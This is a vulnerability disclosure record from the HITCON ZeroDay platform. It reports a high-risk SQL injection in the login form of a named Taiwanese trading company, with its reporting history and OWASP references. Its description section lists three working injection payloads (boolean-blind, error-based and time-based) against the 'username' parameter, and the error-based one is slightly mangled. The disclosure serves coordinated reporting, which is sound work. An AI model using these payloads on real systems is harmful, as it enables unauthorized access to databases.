Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00979
- 發信 Vendor: 儒將貿易有限公司
- Title: 儒將貿易有限公司sqli
- Introduction: post sqli
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/07/14 22:04:09 : 新提交 (由 Time Limit Exceed 更新此狀態)
- 2018/07/14 22:21:52 : 新提交 (由 Time Limit Exceed 更新此狀態)
- 2018/07/16 00:54:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/17 01:30:45 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/17 01:30:45 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/17 01:30:45 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/13 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2018-00979
- 通報者：lee030792 (Time Limit Exceed)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=1' RLIKE (SELECT (CASE WHEN (3619=3619) THEN 1 ELSE 0x28 END))-- hfih&pwd=1&Submit=Login&isSbumit=1&do=loginType: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: username=1' OR ROW(7506,8375)>(SELECT COUNT(),CONCAT(0x7170787671,(SELECT (ELT(7506=7506,1))),0x716a717671,FLOOR(RAND(0)2))x FROM (SELECT 2272 UNION SELECT 9469 UNION SELECT 6057 UNION SELECT 3701)a GROUP BY x)-- UxFH&pwd=1&Submit=Login&isSbumit=1&do=loginType: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=1' OR SLEEP(5)-- YuUL&pwd=1&Submit=Login&isSbumit=1&do=login
修補建議
過濾參數